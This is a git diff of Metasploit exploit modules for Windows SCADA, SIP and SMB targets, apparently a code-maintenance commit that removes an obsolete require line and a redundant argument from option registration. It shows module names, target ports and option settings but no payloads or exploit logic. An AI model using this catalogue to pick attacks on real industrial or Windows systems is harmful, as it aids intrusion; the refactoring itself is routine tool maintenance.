99725bef2f..b06355232c 100644 --- a/modules/exploits/windows/scada/indusoft_webstudio_exec.rb +++ b/modules/exploits/windows/scada/indusoft_webstudio_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -51,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 04 2011')) - register_options([Opt::RPORT(4322)], self.class) + register_options([Opt::RPORT(4322)]) end def check diff --git a/modules/exploits/windows/scada/moxa_mdmtool.rb b/modules/exploits/windows/scada/moxa_mdmtool.rb index cf80ea00a2..ab308f2856 100644 --- a/modules/exploits/windows/scada/moxa_mdmtool.rb +++ b/modules/exploits/windows/scada/moxa_mdmtool.rb @@ -50,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptPort.new('SRVPORT', [ true, "The daemon port to listen on.", 54321 ]) - ], self.class) + ]) end def on_client_connect(client) diff --git a/modules/exploits/windows/scada/procyon_core_server.rb b/modules/exploits/windows/scada/procyon_core_server.rb index b999c2608e..38f2d2d391 100644 --- a/modules/exploits/windows/scada/procyon_core_server.rb +++ b/modules/exploits/windows/scada/procyon_core_server.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -63,7 +61,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(23) - ], self.class) + ]) end def check diff --git a/modules/exploits/windows/scada/realwin.rb b/modules/exploits/windows/scada/realwin.rb index 0153ee50d5..a714d665b3 100644 --- a/modules/exploits/windows/scada/realwin.rb +++ b/modules/exploits/windows/scada/realwin.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -46,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DisclosureDate' => 'Sep 26 2008')) - register_options([Opt::RPORT(910)], self.class) + register_options([Opt::RPORT(910)]) end def exploit diff --git a/modules/exploits/windows/scada/realwin_on_fc_binfile_a.rb b/modules/exploits/windows/scada/realwin_on_fc_binfile_a.rb index dfcf1dc520..91bbcad49f 100644 --- a/modules/exploits/windows/scada/realwin_on_fc_binfile_a.rb +++ b/modules/exploits/windows/scada/realwin_on_fc_binfile_a.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -54,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DisclosureDate' => 'Mar 21 2011')) - register_options([Opt::RPORT(910)], self.class) + register_options([Opt::RPORT(910)]) end def exploit diff --git a/modules/exploits/windows/scada/realwin_on_fcs_login.rb b/modules/exploits/windows/scada/realwin_on_fcs_login.rb index 2e3d2d7d07..23665af528 100644 --- a/modules/exploits/windows/scada/realwin_on_fcs_login.rb +++ b/modules/exploits/windows/scada/realwin_on_fcs_login.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -60,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DisclosureDate' => 'Mar 21 2011')) - register_options([Opt::RPORT(910)], self.class) + register_options([Opt::RPORT(910)]) end def exploit diff --git a/modules/exploits/windows/scada/realwin_scpc_initialize.rb b/modules/exploits/windows/scada/realwin_scpc_initialize.rb index 8a4bfd3ca0..75e1168419 100644 --- a/modules/exploits/windows/scada/realwin_scpc_initialize.rb +++ b/modules/exploits/windows/scada/realwin_scpc_initialize.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DisclosureDate' => 'Oct 15 2010')) - register_options([Opt::RPORT(912)], self.class) + register_options([Opt::RPORT(912)]) end def exploit diff --git a/modules/exploits/windows/scada/realwin_scpc_initialize_rf.rb b/modules/exploits/windows/scada/realwin_scpc_initialize_rf.rb index 2791b5a283..3883811785 100644 --- a/modules/exploits/windows/scada/realwin_scpc_initialize_rf.rb +++ b/modules/exploits/windows/scada/realwin_scpc_initialize_rf.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DisclosureDate' => 'Oct 15 2010')) - register_options([Opt::RPORT(912)], self.class) + register_options([Opt::RPORT(912)]) end def exploit diff --git a/modules/exploits/windows/scada/realwin_scpc_txtevent.rb b/modules/exploits/windows/scada/realwin_scpc_txtevent.rb index 4899cb1144..5c39562748 100644 --- a/modules/exploits/windows/scada/realwin_scpc_txtevent.rb +++ b/modules/exploits/windows/scada/realwin_scpc_txtevent.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -45,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 18 2010')) - register_options([Opt::RPORT(912)], self.class) + register_options([Opt::RPORT(912)]) end def exploit diff --git a/modules/exploits/windows/scada/scadapro_cmdexe.rb b/modules/exploits/windows/scada/scadapro_cmdexe.rb index cdf1c9f123..cd83ce778f 100644 --- a/modules/exploits/windows/scada/scadapro_cmdexe.rb +++ b/modules/exploits/windows/scada/scadapro_cmdexe.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -56,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(11234), OptString.new('URIPATH', [ true, "The URI to use.", "/" ]), - ], self.class) + ]) end # couldn't generate a vbs or exe payload and then use the wF command diff --git a/modules/exploits/windows/scada/sunway_force_control_netdbsrv.rb b/modules/exploits/windows/scada/sunway_force_control_netdbsrv.rb index 4002ed40d9..7e442a54ca 100644 --- a/modules/exploits/windows/scada/sunway_force_control_netdbsrv.rb +++ b/modules/exploits/windows/scada/sunway_force_control_netdbsrv.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -56,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(2001) - ], self.class ) + ]) end def exploit diff --git a/modules/exploits/windows/scada/winlog_runtime.rb b/modules/exploits/windows/scada/winlog_runtime.rb index 7d1fce97df..be75c431d9 100644 --- a/modules/exploits/windows/scada/winlog_runtime.rb +++ b/modules/exploits/windows/scada/winlog_runtime.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -49,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 13 2011')) - register_options([Opt::RPORT(46823)], self.class) + register_options([Opt::RPORT(46823)]) end def exploit diff --git a/modules/exploits/windows/scada/winlog_runtime_2.rb b/modules/exploits/windows/scada/winlog_runtime_2.rb index 9de15b89fe..bac7f31448 100644 --- a/modules/exploits/windows/scada/winlog_runtime_2.rb +++ b/modules/exploits/windows/scada/winlog_runtime_2.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -65,7 +63,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Jun 04 2012', 'DefaultTarget' => 0)) - register_options([Opt::RPORT(46824)], self.class) + register_options([Opt::RPORT(46824)]) end def exploit diff --git a/modules/exploits/windows/scada/yokogawa_bkbcopyd_bof.rb b/modules/exploits/windows/scada/yokogawa_bkbcopyd_bof.rb index f382fc81ba..b50418b688 100644 --- a/modules/exploits/windows/scada/yokogawa_bkbcopyd_bof.rb +++ b/modules/exploits/windows/scada/yokogawa_bkbcopyd_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -56,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(20111) - ], self.class) + ]) end def check diff --git a/modules/exploits/windows/scada/yokogawa_bkesimmgr_bof.rb b/modules/exploits/windows/scada/yokogawa_bkesimmgr_bof.rb index b1bcc632af..64402ecde7 100644 --- a/modules/exploits/windows/scada/yokogawa_bkesimmgr_bof.rb +++ b/modules/exploits/windows/scada/yokogawa_bkesimmgr_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -56,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(34205) - ], self.class) + ]) end def check diff --git a/modules/exploits/windows/scada/yokogawa_bkfsim_vhfd.rb b/modules/exploits/windows/scada/yokogawa_bkfsim_vhfd.rb index 47e9e7e78f..1c66b02398 100644 --- a/modules/exploits/windows/scada/yokogawa_bkfsim_vhfd.rb +++ b/modules/exploits/windows/scada/yokogawa_bkfsim_vhfd.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -54,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(20010) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/scada/yokogawa_bkhodeq_bof.rb b/modules/exploits/windows/scada/yokogawa_bkhodeq_bof.rb index a31338f38e..e3c4804bc7 100644 --- a/modules/exploits/windows/scada/yokogawa_bkhodeq_bof.rb +++ b/modules/exploits/windows/scada/yokogawa_bkhodeq_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -60,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote [ # Required for EIP offset Opt::RPORT(20171) - ], self.class) + ]) end def check diff --git a/modules/exploits/windows/sip/aim_triton_cseq.rb b/modules/exploits/windows/sip/aim_triton_cseq.rb index 3802f613ea..a195490f98 100644 --- a/modules/exploits/windows/sip/aim_triton_cseq.rb +++ b/modules/exploits/windows/sip/aim_triton_cseq.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -50,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(5061) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/sip/sipxezphone_cseq.rb b/modules/exploits/windows/sip/sipxezphone_cseq.rb index 20e47d950e..2b66660583 100644 --- a/modules/exploits/windows/sip/sipxezphone_cseq.rb +++ b/modules/exploits/windows/sip/sipxezphone_cseq.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -54,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(5060) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/sip/sipxphone_cseq.rb b/modules/exploits/windows/sip/sipxphone_cseq.rb index 1c21d15813..dc775f68c6 100644 --- a/modules/exploits/windows/sip/sipxphone_cseq.rb +++ b/modules/exploits/windows/sip/sipxphone_cseq.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -50,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(5060) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/smb/generic_smb_dll_injection.rb b/modules/exploits/windows/smb/generic_smb_dll_injection.rb index 6f6ecfca29..883a3ae4dc 100644 --- a/modules/exploits/windows/smb/generic_smb_dll_injection.rb +++ b/modules/exploits/windows/smb/generic_smb_dll_injection.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking @@ -50,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILE_NAME', [ false, 'DLL File name to share (Default: random .dll)']) - ], self.class) + ]) deregister_options('FILE_CONTENTS') end diff --git a/modules/exploits/windows/smb/group_policy_startup.rb b/modules/exploits/windows/smb/group_policy_startup.rb index 42a9bd8567..a024edf55c 100644 --- a/modules/exploits/windows/smb/group_policy_startup.rb +++ b/modules/exploits/windows/smb/group_policy_startup.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking @@ -56,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILE_NAME', [ false, 'VBS File name to share (Default: random .vbs)']) - ], self.class) + ]) deregister_options('FILE_CONTENTS') end diff --git a/modules/exploits/windows/smb/ipass_pipe_exec.rb b/modules/exploits/windows/smb/ipass_pipe_exec.rb index dd3a56ba31..16d036e27c 100644 --- a/modules/exploits/windows/smb/ipass_pipe_exec.rb +++ b/modules/exploits/windows/smb/ipass_pipe_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 15]) - ], self.class) + ]) deregister_options('FILE_CONTENTS', 'FILE_NAME', 'SHARE', 'FOLDER_NAME') end diff --git a/modules/exploits/windows/smb/ms03_049_netapi.rb b/modules/exploits/windows/smb/ms03_049_netapi.rb index 985fd2cbd7..5ccf0f69e8 100644 --- a/modules/exploits/windows/smb/ms03_049_netapi.rb +++ b/modules/exploits/windows/smb/ms03_049_netapi.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('SMBPIPE', [ true, "The pipe name to use (BROWSER, WKSSVC)", 'BROWSER']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/smb/ms04_007_killbill.rb b/modules/exploits/windows/smb/ms04_007_killbill.rb index 2a8565ddab..48ce075612 100644 --- a/modules/exploits/windows/smb/ms04_007_killbill.rb +++ b/modules/exploits/windows/smb/ms04_007_killbill.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = LowRanking @@ -71,7 +69,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('PROTO', [ true, "Which protocol to use: http or smb", 'smb']), - ], self.class) + ]) end # This exploit is too destructive to use during automated exploitation. diff --git a/modules/exploits/windows/smb/ms04_011_lsass.rb b/modules/exploits/windows/smb/ms04_011_lsass.rb index e2c4864fda..1d55a77a25 100644 --- a/modules/exploits/windows/smb/ms04_011_lsass.rb +++ b/modules/exploits/windows/smb/ms04_011_lsass.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking diff --git a/modules/exploits/windows/smb/ms04_031_netdde.rb b/modules/exploits/windows/smb/ms04_031_netdde.rb index 30f78db495..fb92a06700 100644 --- a/modules/exploits/windows/smb/ms04_031_netdde.rb +++ b/modules/exploits/windows/smb/ms04_031_netdde.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('SMBPIPE', [ true, "The pipe name to use (nddeapi)", 'nddeapi']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/smb/ms05_039_pnp.rb b/modules/exploits/windows/smb/ms05_039_pnp.rb index 1e15f4dbe4..5a7b4b90da 100644 --- a/modules/exploits/windows/smb/ms05_039_pnp.rb +++ b/modules/exploits/windows/smb/ms05_039_pnp.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -324,7 +322,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('SMBPIPE', [ true, "The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)", 'browser']), - ], self.class) + ]) end diff --git a/modules/exploits/windows/smb/ms06_025_rasmans_reg.rb b/modules/exploits/windows/smb/ms06_025_rasmans_reg.rb index e62d26a6c1..ca4968cf95 100644 --- a/modules/exploits/windows/smb/ms06_025_rasmans_reg.rb +++ b/modules/exploits/windows/smb/ms06_025_rasmans_reg.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -59,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('SMBPIPE', [ true, "Rawr.", 'router']), - ], self.class) + ]) end # Post authentication bugs are rarely useful during automation diff --git a/modules/exploits/windows/smb/ms06_025_rras.rb b/modules/exploits/windows/smb/ms06_025_rras.rb index 540a4b7b6f..0906160b3e 100644 --- a/modules/exploits/windows/smb/ms06_025_rras.rb +++ b/modules/exploits/windows/smb/ms06_025_rras.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -56,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('SMBPIPE', [ true, "The pipe name to use (ROUTER, SRVSVC)", 'ROUTER']), - ], self.class) + ]) end # Post authentication bugs are rarely useful during automation diff --git a/modules/exploits/windows/smb/ms06_040_netapi.rb b/modules/exploits/windows/smb/ms06_040_netapi.rb index a5f6e127f5..997e6df4a3 100644 --- a/modules/exploits/windows/smb/ms06_040_netapi.rb +++ b/modules/exploits/windows/smb/ms06_040_netapi.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -92,7 +90,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('SMBPIPE', [ true, "The pipe name to use (BROWSER, SRVSVC)", 'BROWSER']), - ], self.class) + ]) end diff --git a/modules/exploits/windows/smb/ms06_066_nwapi.rb b/modules/exploits/windows/smb/ms06_066_nwapi.rb index 59ddf4c93b..eb2d3e8567 100644 --- a/modules/exploits/windows/smb/ms06_066_nwapi.rb +++ b/modules/exploits/windows/smb/ms06_066_nwapi.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -60,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('SMBPIPE', [ true, "The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)", 'srvsvc']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/smb/ms06_066_nwwks.rb b/modules/exploits/windows/smb/ms06_066_nwwks.rb index c081217b06..8eaa5669d8 100644 --- a/modules/exploits/windows/smb/ms06_066_nwwks.rb +++ b/modules/exploits/windows/smb/ms06_066_nwwks.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -60,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('SMBPIPE', [ true, "The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)", 'nwwks']), - ], self.class) + ]) end diff --git a/modules/exploits/windows/smb/ms06_070_wkssvc.rb b/modules/exploits/windows/smb/ms06_070_wkssvc.rb index 5d3cd7763f..7416195266 100644 --- a/modules/exploits/windows/smb/ms06_070_wkssvc.rb +++ b/modules/exploits/windows/smb/ms06_070_wkssvc.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking # Requires valid/working DOMAIN + DC @@ -76,7 +74,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('SMBPIPE', [ true, "The pipe name to use.", 'WKSSVC']), # NOTE: a valid domain name is required. See description. OptString.new('DOMAIN', [ true, "The domain to validate prior to joining it."]) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/smb/ms07_029_msdns_zonename.rb b/modules/exploits/windows/smb/ms07_029_msdns_zonename.rb index c81a58727b..97808b5803 100644 --- a/modules/exploits/windows/smb/ms07_029_msdns_zonename.rb +++ b/modules/exploits/windows/smb/ms07_029_msdns_zonename.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking @@ -81,7 +79,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('Locale', [ true, "Locale for automatic target (English, French, Italian, ...)", 'English']) - ], self.class) + ]) end diff --git a/modules/exploits/windows/smb/ms08_067_netapi.rb b/modules/exploits/windows/smb/ms08_067_netapi.rb index f0523cc5aa..359c6cf8ed 100644 --- a/modules/exploits/windows/smb/ms08_067_netapi.rb +++ b/modules/exploits/windows/smb/ms08_067_netapi.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -752,7 +750,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('SMBPIPE', [true, 'The pipe name to use (BROWSER, SRVSVC)', 'BROWSER']), - ], self.class) + ]) end # diff --git a/modules/exploits/windows/smb/ms09_050_smb2_negotiate_func_index.rb b/modules/exploits/windows/smb/ms09_050_smb2_negotiate_func_index.rb index f8e71f3b7e..c8fe6bdc2e 100644 --- a/modules/exploits/windows/smb/ms09_050_smb2_negotiate_func_index.rb +++ b/modules/exploits/windows/smb/ms09_050_smb2_negotiate_func_index.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -70,7 +68,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(445), OptInt.new( 'WAIT', [ true, "The number of seconds to wait for the attack to complete.", 180 ] ) - ], self.class) + ]) end # Not reliable enough for automation yet diff --git a/modules/exploits/windows/smb/ms10_046_shortcut_icon_dllloader.rb b/modules/exploits/windows/smb/ms10_046_shortcut_icon_dllloader.rb index db5fdcb58e..4cb1265eda 100644 --- a/modules/exploits/windows/smb/ms10_046_shortcut_icon_dllloader.rb +++ b/modules/exploits/windows/smb/ms10_046_shortcut_icon_dllloader.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -56,12 +54,12 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [true, 'The LNK file', 'msf.lnk']) - ], self.class) + ]) register_advanced_options( [ OptBool.new('DisablePayloadHandler', [false, 'Disable the handler code for the selected payload', false]) - ], self.class) + ]) deregister_options('FILE_CONTENTS', 'FILE_NAME') end diff --git a/modules/exploits/windows/smb/ms10_061_spoolss.rb b/modules/exploits/windows/smb/ms10_061_spoolss.rb index 69ce351e30..c642b1f268 100644 --- a/modules/exploits/windows/smb/ms10_061_spoolss.rb +++ b/modules/exploits/windows/smb/ms10_061_spoolss.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/windows_error' class MetasploitModule < Msf::Exploit::Remote @@ -62,7 +61,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('SMBPIPE', [ false, "The named pipe for the spooler service", "spoolss"]), OptString.new('PNAME', [ false, "The printer share name to use on the target" ]), - ], self.class) + ]) end diff --git a/modules/exploits/windows/smb/ms15_020_shortcut_icon_dllloader.rb b/modules/exploits/windows/smb/ms15_020_shortcut_icon_dllloader.rb index 9aa9a57d6e..1dc6309f4b 100644 --- a/modules/exploits/windows/smb/ms15_020_shortcut_icon_dllloader.rb +++ b/modules/exploits/windows/smb/ms15_020_shortcut_icon_dllloader.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -57,12 +55,12 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [true, 'The LNK file', 'msf.lnk']) - ], self.class) + ]) register_advanced_options( [ OptBool.new('DisablePayloadHandler', [false, 'Disable the handler code for the selected payload', false]) - ], self.class) + ]) deregister_options('FILE_CONTENTS', 'FILE_NAME') end diff --git a/modules/exploits/windows/smb/netidentity_xtierrpcpipe.rb b/modules/exploits/windows/smb/netidentity_xtierrpcpipe.rb index 8796ac8402..dd3c9c26a3 100644 --- a/modules/exploits/windows/smb/netidentity_xtierrpcpipe.rb +++ b/modules/exploits/windows/smb/netidentity_xtierrpcpipe.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -52,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('SMBUser', [ true, 'The username to authenticate as', 'metasploit']), OptString.new('SMBPass', [ true, 'The password for the specified username', 'metasploit']) - ], self.class ) + ]) end def mem_leak diff --git a/modules/exploits/windows/smb/psexec.rb b/modules/exploits/windows/smb/psexec.rb index 9d7e2152a5..4dd261f0d4 100644 --- a/modules/exploits/windows/smb/psexec.rb +++ b/modules/exploits/windows/smb/psexec.rb @@ -13,8 +13,6 @@ # Security Options > # Network Access: Sharing and security model for local accounts -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking @@ -78,7 +76,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('SHARE', [ true, "The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share", 'ADMIN$' ]) - ], self.class ) + ]) register_advanced_options( [ @@ -86,7 +84,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('SERVICE_FILENAME', [false, "Filename to to be used on target for the service binary",nil]), OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe']), OptString.new('SERVICE_STUB_ENCODER', [false, "Encoder to use around the service registering stub",nil]) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/smb/psexec_psh.rb b/modules/exploits/windows/smb/psexec_psh.rb index 9663d5e82e..6e8919c171 100644 --- a/modules/exploits/windows/smb/psexec_psh.rb +++ b/modules/exploits/windows/smb/psexec_psh.rb @@ -5,7 +5,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/exploit/powershell' class MetasploitModule < Msf::Exploit::Remote @@ -65,7 +64,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options([ OptBool.new('DryRun',[false,'Prints the powershell command that would be used',false]), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/smb/smb_delivery.rb b/modules/exploits/windows/smb/smb_delivery.rb index 6018b6201e..2186399e34 100644 --- a/modules/exploits/windows/smb/smb_delivery.rb +++ b/modules/exploits/windows/smb/smb_delivery.rb @@ -1,4 +1,3 @@ -require 'msf/core' require 'msf/core/exploit/powershell' class MetasploitModule < Msf::Exploit::Remote @@ -49,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILE_NAME', [ false, 'DLL file name', 'test.dll']) - ], self.class) + ]) deregister_options('FILE_CONTENTS') end diff --git a/modules/exploits/windows/smb/smb_relay.rb b/modules/exploits/windows/smb/smb_relay.rb index df66573a76..9a3e376796 100644 --- a/modules/exploits/windows/smb/smb_relay.rb +++ b/modules/exploits/windows/smb/smb_relay.rb @@ -16,8 +16,6 @@ under: Network Access: Sharing and security model for local accounts =end -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -95,7 +93,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptAddress.new('SMBHOST', [ false, "The target SMB server (leave empty for originating system)"]), OptString.new('SHARE', [ true, "The share to connect to", 'ADMIN$' 